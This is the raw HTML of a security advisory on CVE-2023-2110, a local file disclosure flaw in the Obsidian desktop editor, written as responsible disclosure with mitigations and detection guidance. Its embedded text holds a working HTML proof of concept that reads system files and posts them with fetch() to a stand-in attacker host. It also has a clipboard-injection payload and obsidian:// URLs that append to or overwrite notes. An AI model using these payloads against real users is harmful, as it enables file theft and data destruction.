property=\"article:modified_time\" content=\"2023-08-19T00:00:00&#43;00:00\" /><meta property=\"og:site_name\" content=\"STAR Labs\" />\r\n\r\n<meta name=\"twitter:card\" content=\"summary_large_image\"/>\r\n<meta name=\"twitter:image\" content=\"https://starlabs.sg/logo-white.png\"/>\r\n\r\n<meta name=\"twitter:title\" content=\"(CVE-2023-2110) Obsidian Local File Disclosure\"/>\r\n<meta name=\"twitter:description\" content=\"Summary:    Product Obsidian     Vendor Obsidian   Severity High   Affected Versions Obsidian &lt; 1.2.8   Tested Versions Obsidian 1.1.16   CVE Identifier CVE-2023-2110   CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via &ldquo;app://local/&lt;absolute-path&gt;&rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\"/>\r\n\r\n\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BreadcrumbList\",\r\n  \"itemListElement\": [\r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  1 ,\r\n      \"name\": \"Advisories\",\r\n      \"item\": \"https://starlabs.sg/advisories/\"\r\n    }, \r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  2 ,\r\n      \"name\": \"(CVE-2023-2110) Obsidian Local File Disclosure\",\r\n      \"item\": \"https://starlabs.sg/advisories/23/23-2110/\"\r\n    }\r\n  ]\r\n}\r\n</script>\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BlogPosting\",\r\n  \"headline\": \"(CVE-2023-2110) Obsidian Local File Disclosure\",\r\n  \"name\": \"(CVE-2023-2110) Obsidian Local File Disclosure\",\r\n  \"description\": \"Summary:    Product Obsidian     Vendor Obsidian   Severity High   Affected Versions Obsidian \\u0026lt; 1.2.8   Tested Versions Obsidian 1.1.16   CVE Identifier CVE-2023-2110   CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via \\u0026ldquo;app://local/\\u0026lt;absolute-path\\u0026gt;\\u0026rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\",\r\n  \"keywords\": [\r\n    \r\n  ],\r\n  \"articleBody\": \"Summary:    Product Obsidian     Vendor Obsidian   Severity High   Affected Versions Obsidian   Tested Versions Obsidian 1.1.16   CVE Identifier CVE-2023-2110   CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.   CWE Classification(s) CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)   CAPEC Classification(s) CAPEC-597 Absolute Path Traversal    CVSS3.1 Scoring System: Base Score: 8.2 (High)\\nVector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\\n   Metric Value     Attack Vector (AV) Local   Attack Complexity (AC) Low   Privileges Required (PR) None   User Interaction (UI) Required   Scope (S) Changed   Confidentiality (C) High   Integrity (I) High   Availability (A) None    Product Overview: Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.\\nObsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.\\nVulnerability Summary: There is a Local File Disclosure vulnerability in app://local/ in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\\nVulnerability Details: In resources/app.asar/main.js, a custom URL scheme app:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax ![](img1.png) will be converted to HTML img tag  for preview:\\nThe following code snippet is the function handling app:// :\\nlet SCHEME = 'app'; let PROTOCOL = SCHEME + '://'; let APP_URL_ROOT = PROTOCOL + 'obsidian.md/'; let FILE_ROOT = PROTOCOL + 'local/'; // ... protocol.registerFileProtocol('app', (req, callback) = { let url = req.url; let noframe = false; // ...  if (url.indexOf(FILE_ROOT) === 0) { url = decodeURIComponent(url.substr(FILE_ROOT.length)); if (!isWin) { url = '/' + url; } url = path.resolve(url); // [1]  // Disallow framing if the path is a UNC path  if (isUncPath(url)) { noframe = true; } } // Don't allow iframes from different origins to access local files  let referrer = req.referrer; if (referrer \\u0026\\u0026 referrer.indexOf(PROTOCOL) !== 0) { // [2]  noframe = true; url = ''; } let headers = {}; if (noframe) { headers['X-Frame-Options'] = 'DENY'; } callback({ path: url, headers }); }); When the URL of a request starts with app://local/, the remainder of the URL is resolved by path.resolve as an absolute path at [1].\\nAt [2], if the request comes with a referrer header and the value does not start with app://, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.\\nHowever, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to app://local/, which led to bypassing the referer check and disclosing the contents of any local files:\\nr = new XMLHttpRequest(); r.open('GET', 'app://local/C:/windows/win.ini'); r.addEventListener('load', e = { let result = e.currentTarget.responseText; console.log(result); }); r.send(); Exploit Conditions: This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.\\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:\\n html lang=\\\"en\\\" body script window.location = `data:text/html,(${payload.toString()})()\\\\x3c/script`; function payload() { let filename = 'app://local/'; if(navigator.platform === 'Win32'){ filename += 'C:/Windows/win.ini'; } else if(navigator.platform.startsWith('Linux')){ filename += '/proc/self/root/etc/passwd' } let r = new XMLHttpRequest(); r.open('GET', filename); r.addEventListener('load', e = { let result = e.currentTarget.responseText; console.log(result); confirm(result) fetch('http://example.localtest.me/send-file-to-attacker-server', {method: 'post', mode: 'no-cors', body: result}) }); r.send(); } script body html Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Obsidian: . Once the PoC is loaded in the iframe, it will:\\n Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux, Show the content of the file in a dialog, Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).  Note: A live version of poc1.html can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html\\nAttack Scenario: Scenario 1: Open a malicious markdown file An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.\\nScenario 2: Copy and paste from a webpage An attacker can craft a malicious webpage and hook on the copy event with the following code:\\nscript document.addEventListener('copy',e={ e.preventDefault(); let payload = `![](\\\"`; e.clipboardData.setData('text/html', payload + window.getSelection()); }) script When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.\\nNote: A live version of copy-and-paste PoC can be found here.\\nAdditional Notes:   It is possible to add style=\\\"display:none\\\" attribute to the iframe to make the exploit invisible.\\n  An attacker can get a list of recently opened vaults from:\\n app://local/proc/self/cwd/.config/obsidian/obsidian.json on Linux, or app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json on Windows  Then get a file list of each vault from app://local/PATH-TO-VAULT/.obsidian/workspace.json, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.\\nAn example of such exploit can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html\\n  Once the attacker obtained vault id from obsidian.json, it is possible to append arbitrary content to existing markdown files via obsidian://new.\\nFor example, executing location = 'obsidian://new?file=Untitled.md\\u0026vault=56cc6ab7be5a53d5\\u0026append=1\\u0026content=appended-content' will add “appended-content” at the end of Untitled.md in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.\\nIt is also possible for attacker to purge the files via the overwrite param: location = 'obsidian://new?file=Untitled.md\\u0026vault=56cc6ab7be5a53d5\\u0026overwrite=1\\u0026content=REMOVED'. This will seriously compromise the integrity of the user’s data.\\n  Suggested Mitigations: Prohibit http(s) webpages from accessing app:// resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.\\nFor end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.\\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the presence of iframe tags loading suspicious URLs in markdown files.\\nCredits: Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\\nTimeline:  2023-04-28 Vendor Disclosure 2023-05-03 Vendor Patch Release 2023-08-19 Public Release  \",\r\n  \"wordCount\" : \"1202\",\r\n  \"inLanguage\": \"en\",\r\n  \"datePublished\": \"2023-08-19T00:00:00Z\",\r\n  \"dateModified\": \"2023-08-19T00:00:00Z\",\r\n  \"author\":{\r\n    \"@type\": \"Person\",\r\n    \"name\": \"Li Jiantao (@CurseRed)\"\r\n  },\r\n  \"mainEntityOfPage\": {\r\n    \"@type\": \"WebPage\",\r\n    \"@id\": \"https://starlabs.sg/advisories/23/23-2110/\"\r\n  },\r\n  \"publisher\": {\r\n    \"@type\": \"Organization\",\r\n    \"name\": \"STAR Labs\",\r\n    \"logo\": {\r\n      \"@type\": \"ImageObject\",\r\n      \"url\": \"https://starlabs.sg/logo-white.png\"\r\n    }\r\n  }\r\n}\r\n</script>\r\n</head>\r\n\r\n<body class=\" dark\" id=\"top\">\r\n\r\n<header class=\"header\">\r\n    <nav class=\"nav\">\r\n        <div class=\"logo\">\r\n            <a href=\"https://starlabs.sg/\" accesskey=\"h\" title=\"  (Alt + H)\">\r\n                <img src=\"https://starlabs.sg/logo-white.png\" alt=\"logo\" aria-label=\"logo\"\r\n                    height=\"35\"> </a>\r\n            <span class=\"logo-switches\">\r\n            </span>\r\n        </div>\r\n        <ul id=\"menu\">\r\n            <li>\r\n                <a href=\"https://starlabs.sg/\" title=\"Home\">\r\n                    <span>Home</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/about/\" title=\"About\">\r\n                    <span>About</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/advisories/\" title=\"Advisories\">\r\n                    <span>Advisories</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/blog/\" title=\"Blog\">\r\n                    <span>Blog</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/achievements/\" title=\"Achievements\">\r\n                    <span>Achievements</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/publications/\" title=\"Publications\">\r\n                    <span>Publications</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/search/\" title=\"Search (Alt &#43; /)\" accesskey=/>\r\n                    <span>Search</span>\r\n                </a>\r\n            </li>\r\n        </ul>\r\n    </nav>\r\n</header>\r\n<main class=\"main\">\r\n\r\n<article class=\"post-single\">\r\n  <header class=\"post-header\">\r\n    <div class=\"breadcrumbs\"><a href=\"https://starlabs.sg/\">Home</a>&nbsp;»&nbsp;<a href=\"https://starlabs.sg/advisories/\">Advisories</a></div>\r\n    <h1 class=\"post-title\">\r\n      (CVE-2023-2110) Obsidian Local File Disclosure\r\n    </h1>\r\n    <div class=\"post-meta\"><span title='2023-08-19 00:00:00 +0000 UTC'>August 19, 2023</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Li Jiantao (@CurseRed)\r\n\r\n</div>\r\n  </header> <div class=\"toc\">\r\n    <details >\r\n        <summary accesskey=\"c\" title=\"(Alt + C)\">\r\n            <span class=\"details\">Table of Contents</span>\r\n        </summary>\r\n\r\n        <div class=\"inner\"><ul>\r\n                <li>\r\n                    <a href=\"#summary\" aria-label=\"Summary:\">Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#cvss31-scoring-system\" aria-label=\"CVSS3.1 Scoring System:\">CVSS3.1 Scoring System:</a></li>\r\n                <li>\r\n                    <a href=\"#product-overview\" aria-label=\"Product Overview:\">Product Overview:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-summary\" aria-label=\"Vulnerability Summary:\">Vulnerability Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-details\" aria-label=\"Vulnerability Details:\">Vulnerability Details:</a></li>\r\n                <li>\r\n                    <a href=\"#exploit-conditions\" aria-label=\"Exploit Conditions:\">Exploit Conditions:</a></li>\r\n                <li>\r\n                    <a href=\"#proof-of-concept\" aria-label=\"Proof-of-Concept:\">Proof-of-Concept:</a></li>\r\n                <li>\r\n                    <a href=\"#attack-scenario\" aria-label=\"Attack Scenario:\">Attack Scenario:</a><ul>\r\n                        \r\n                <li>\r\n                    <a href=\"#scenario-1-open-a-malicious-markdown-file\" aria-label=\"Scenario 1: Open a malicious markdown file\">Scenario 1: Open a malicious markdown file</a></li>\r\n                <li>\r\n                    <a href=\"#scenario-2-copy-and-paste-from-a-webpage\" aria-label=\"Scenario 2: Copy and paste from a webpage\">Scenario 2: Copy and paste from a webpage</a></li>\r\n                <li>\r\n                    <a href=\"#additional-notes\" aria-label=\"Additional Notes:\">Additional Notes:</a></li></ul>\r\n                </li>\r\n                <li>\r\n                    <a href=\"#suggested-mitigations\" aria-label=\"Suggested Mitigations:\">Suggested Mitigations:</a></li>\r\n                <li>\r\n                    <a href=\"#detection-guidance\" aria-label=\"Detection Guidance:\">Detection Guidance:</a></li>\r\n                <li>\r\n                    <a href=\"#credits\" aria-label=\"Credits:\">Credits:</a></li>\r\n                <li>\r\n                    <a href=\"#timeline\" aria-label=\"Timeline:\">Timeline:</a>\r\n                </li>\r\n            </ul>\r\n        </div>\r\n    </details>\r\n</div>\r\n\r\n  <div class=\"post-content\"><h2 id=\"summary\">Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#summary\">#</a></h2>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Product</strong></th>\r\n<th>Obsidian</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Vendor</strong></td>\r\n<td>Obsidian</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Severity</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Affected Versions</strong></td>\r\n<td>Obsidian &lt; 1.2.8</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Tested Versions</strong></td>\r\n<td>Obsidian 1.1.16</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Identifier</strong></td>\r\n<td>CVE-2023-2110</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Description</strong></td>\r\n<td>Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via &ldquo;app://local/&lt;absolute-path&gt;&rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CWE Classification(s)</strong></td>\r\n<td>CWE-22 Improper Limitation of a Pathname to a Restricted Directory (&lsquo;Path Traversal&rsquo;)</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CAPEC Classification(s)</strong></td>\r\n<td>CAPEC-597 Absolute Path Traversal</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"cvss31-scoring-system\">CVSS3.1 Scoring System:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#cvss31-scoring-system\">#</a></h2>\r\n<p><strong>Base Score:</strong> 8.2 (High)<br>\r\n<strong>Vector String:</strong> <code>CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</code></p>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Metric</strong></th>\r\n<th><strong>Value</strong></th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Attack Vector (AV)</strong></td>\r\n<td>Local</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Attack Complexity (AC)</strong></td>\r\n<td>Low</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Privileges Required (PR)</strong></td>\r\n<td>None</td>\r\n</tr>\r\n<tr>\r\n<td><strong>User Interaction (UI)</strong></td>\r\n<td>Required</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Scope (S)</strong></td>\r\n<td>Changed</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Confidentiality (C)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Integrity (I)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Availability (A)</strong></td>\r\n<td>None</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"product-overview\">Product Overview:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#product-overview\">#</a></h2>\r\n<p>Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.</p>\r\n<p>Obsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.</p>\r\n<h2 id=\"vulnerability-summary\">Vulnerability Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-summary\">#</a></h2>\r\n<p>There is a Local File Disclosure vulnerability in <code>app://local/</code> in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.</p>\r\n<h2 id=\"vulnerability-details\">Vulnerability Details:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-details\">#</a></h2>\r\n<p>In <code>resources/app.asar/main.js</code>, a custom URL scheme <code>app://</code> is registered via <code>electron.protocol.registerFileProtocol</code> API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax <code>![](img1.png)</code> will be converted to HTML img tag <code>&lt;img src=&quot;app://local/C:/Users/cr/Documents/md/img1.png?1681587426400&quot;&gt;</code> for preview:</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2110_01-local-image-loaded-via-app-url-scheme.jpg\" alt=\"\"  />\r\n</p>\r\n<p>The following code snippet is the function handling <code>app://</code> :</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-javascript\" data-lang=\"javascript\"><span class=\"line\"><span class=\"cl\"><span class=\"kd\">let</span> <span class=\"nx\">SCHEME</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;app&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">let</span> <span class=\"nx\">PROTOCOL</span> <span class=\"o\">=</span> <span class=\"nx\">SCHEME</span> <span class=\"o\">+</span> <span class=\"s1\">&#39;://&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">let</span> <span class=\"nx\">APP_URL_ROOT</span> <span class=\"o\">=</span> <span class=\"nx\">PROTOCOL</span> <span class=\"o\">+</span> <span class=\"s1\">&#39;obsidian.md/&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">let</span> <span class=\"nx\">FILE_ROOT</span> <span class=\"o\">=</span> <span class=\"nx\">PROTOCOL</span> <span class=\"o\">+</span> <span class=\"s1\">&#39;local/&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">// ...\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span><span class=\"nx\">protocol</span><span class=\"p\">.</span><span class=\"nx\">registerFileProtocol</span><span class=\"p\">(</span><span class=\"s1\">&#39;app&#39;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"nx\">req</span><span class=\"p\">,</span> <span class=\"nx\">callback</span><span class=\"p\">)</span> <span class=\"p\">=&gt;</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">let</span> <span class=\"nx\">url</span> <span class=\"o\">=</span> <span class=\"nx\">req</span><span class=\"p\">.</span><span class=\"nx\">url</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">let</span> <span class=\"nx\">noframe</span> <span class=\"o\">=</span> <span class=\"kc\">false</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">// ...\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nx\">url</span><span class=\"p\">.</span><span class=\"nx\">indexOf</span><span class=\"p\">(</span><span class=\"nx\">FILE_ROOT</span><span class=\"p\">)</span> <span class=\"o\">===</span> <span class=\"mi\">0</span><span class=\"p\">)</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">url</span> <span class=\"o\">=</span> <span class=\"nb\">decodeURIComponent</span><span class=\"p\">(</span><span class=\"nx\">url</span><span class=\"p\">.</span><span class=\"nx\">substr</span><span class=\"p\">(</span><span class=\"nx\">FILE_ROOT</span><span class=\"p\">.</span><span class=\"nx\">length</span><span class=\"p\">));</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"nx\">isWin</span><span class=\"p\">)</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">url</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;/&#39;</span> <span class=\"o\">+</span> <span class=\"nx\">url</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">url</span> <span class=\"o\">=</span> <span class=\"nx\">path</span><span class=\"p\">.</span><span class=\"nx\">resolve</span><span class=\"p\">(</span><span class=\"nx\">url</span><span class=\"p\">);</span>    <span class=\"c1\">// [1]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>        <span class=\"c1\">// Disallow framing if the path is a UNC path\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>        <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nx\">isUncPath</span><span class=\"p\">(</span><span class=\"nx\">url</span><span class=\"p\">))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">noframe</span> <span class=\"o\">=</span> <span class=\"kc\">true</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">// Don&#39;t allow iframes from different origins to access local files\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"kd\">let</span> <span class=\"nx\">referrer</span> <span class=\"o\">=</span> <span class=\"nx\">req</span><span class=\"p\">.</span><span class=\"nx\">referrer</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nx\">referrer</span> <span class=\"o\">&amp;&amp;</span> <span class=\"nx\">referrer</span><span class=\"p\">.</span><span class=\"nx\">indexOf</span><span class=\"p\">(</span><span class=\"nx\">PROTOCOL</span><span class=\"p\">)</span> <span class=\"o\">!==</span> <span class=\"mi\">0</span><span class=\"p\">)</span> <span class=\"p\">{</span>     <span class=\"c1\">// [2]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>        <span class=\"nx\">noframe</span> <span class=\"o\">=</span> <span class=\"kc\">true</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">url</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">let</span> <span class=\"nx\">headers</span> <span class=\"o\">=</span> <span class=\"p\">{};</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nx\">noframe</span><span class=\"p\">)</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">headers</span><span class=\"p\">[</span><span class=\"s1\">&#39;X-Frame-Options&#39;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;DENY&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nx\">callback</span><span class=\"p\">({</span> <span class=\"nx\">path</span><span class=\"o\">:</span> <span class=\"nx\">url</span><span class=\"p\">,</span> <span class=\"nx\">headers</span> <span class=\"p\">});</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">});</span>\r\n</span></span></code></pre></div><p>When the URL of a request starts with <code>app://local/</code>, the remainder of the URL is resolved by <code>path.resolve</code> as an absolute path at <code>[1]</code>.</p>\r\n<p>At <code>[2]</code>, if the request comes with a <code>referrer</code> header and the value does not start with <code>app://</code>, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.</p>\r\n<p>However, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to <code>app://local/</code>, which led to bypassing the referer check and disclosing the contents of any local files:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-javascript\" data-lang=\"javascript\"><span class=\"line\"><span class=\"cl\"><span class=\"nx\">r</span> <span class=\"o\">=</span> <span class=\"k\">new</span> <span class=\"nx\">XMLHttpRequest</span><span class=\"p\">();</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">open</span><span class=\"p\">(</span><span class=\"s1\">&#39;GET&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;app://local/C:/windows/win.ini&#39;</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">addEventListener</span><span class=\"p\">(</span><span class=\"s1\">&#39;load&#39;</span><span class=\"p\">,</span> <span class=\"nx\">e</span> <span class=\"p\">=&gt;</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">let</span> <span class=\"nx\">result</span> <span class=\"o\">=</span> <span class=\"nx\">e</span><span class=\"p\">.</span><span class=\"nx\">currentTarget</span><span class=\"p\">.</span><span class=\"nx\">responseText</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nx\">console</span><span class=\"p\">.</span><span class=\"nx\">log</span><span class=\"p\">(</span><span class=\"nx\">result</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">});</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">send</span><span class=\"p\">();</span>\r\n</span></span></code></pre></div><p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2110_02-read-local-file-from-external-webpage.png\" alt=\"\"  />\r\n</p>\r\n<h2 id=\"exploit-conditions\">Exploit Conditions:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#exploit-conditions\">#</a></h2>\r\n<p>This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.</p>\r\n<h2 id=\"proof-of-concept\">Proof-of-Concept:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#proof-of-concept\">#</a></h2>\r\n<p>We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-html\" data-lang=\"html\"><span class=\"line\"><span class=\"cl\"><span class=\"cp\">&lt;!DOCTYPE html&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;</span><span class=\"nt\">html</span> <span class=\"na\">lang</span><span class=\"o\">=</span><span class=\"s\">&#34;en&#34;</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;</span><span class=\"nt\">body</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;</span><span class=\"nt\">script</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span 